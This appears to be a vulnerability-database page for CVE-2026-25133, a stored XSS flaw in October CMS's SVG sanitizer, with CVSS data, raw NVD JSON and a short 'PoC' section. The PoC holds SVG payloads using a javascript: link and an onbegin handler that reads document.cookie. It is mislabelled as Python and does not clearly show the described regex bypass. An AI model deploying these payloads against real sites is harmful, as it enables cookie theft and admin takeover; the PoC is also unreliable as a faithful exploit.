Security Vulnerability Report
中文
CVE-2026-25133 CVSS 4.8 MEDIUM

CVE-2026-25133

Published: 2026-04-14 21:16:25
Last Modified: 2026-04-23 17:50:18

Description

October is a Content Management System (CMS) and web platform. Versions prior to 3.7.14 and 4.1.10 contain a stored cross-site scripting (XSS) vulnerability in the SVG sanitization logic. The regex pattern used to strip event handler attributes (such as onclick or onload) could be bypassed using a crafted payload that exploits how the pattern matches attribute boundaries, allowing malicious SVG files to be uploaded through the Media Manager with embedded JavaScript. Exploitation could lead to privilege escalation if a superuser views or embeds the malicious SVG, and requires authenticated backend access with media upload permissions. The SVG must be viewed or embedded in a page for the payload to trigger. This issue has been fixed in versions 3.7.14 and 4.1.10.

CVSS Details

CVSS Score
4.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:octobercms:october:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:octobercms:october:*:*:*:*:*:*:*:* - VULNERABLE
October CMS < 3.7.14
October CMS < 4.1.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2026-25133: Stored XSS via SVG --> <!-- This payload attempts to bypass regex sanitization --> <svg> <a xmlns="http://www.w3.org/1999/xlink" href="javascript:alert('XSS')"> <rect width="100" height="100" /> </a> </svg> <!-- Alternatively using event handlers --> <svg> <animate attributeName="x" dur="1s" begin="click" onbegin="alert(document.cookie)" /> </svg>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-25133", "sourceIdentifier": "[email protected]", "published": "2026-04-14T21:16:25.330", "lastModified": "2026-04-23T17:50:17.983", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "October is a Content Management System (CMS) and web platform. Versions prior to 3.7.14 and 4.1.10 contain a stored cross-site scripting (XSS) vulnerability in the SVG sanitization logic. The regex pattern used to strip event handler attributes (such as onclick or onload) could be bypassed using a crafted payload that exploits how the pattern matches attribute boundaries, allowing malicious SVG files to be uploaded through the Media Manager with embedded JavaScript. Exploitation could lead to privilege escalation if a superuser views or embeds the malicious SVG, and requires authenticated backend access with media upload permissions. The SVG must be viewed or embedded in a page for the payload to trigger. This issue has been fixed in versions 3.7.14 and 4.1.10."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:octobercms:october:*:*:*:*:*:*:*:*", "versionEndIncluding": "3.7.13", "matchCriteriaId": "A07FA7C9-BC27-4953-93C7-AB142B989CC2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:octobercms:october:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0.0", "versionEndIncluding": "4.1.9", "matchCriteriaId": "9C5346C3-F4C0-4DD0-AAAC-A12A7EB93C8F"}]}]}], "references": [{"url": "https://github.com/octobercms/october/security/advisories/GHSA-gcqv-f29m-67gr", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}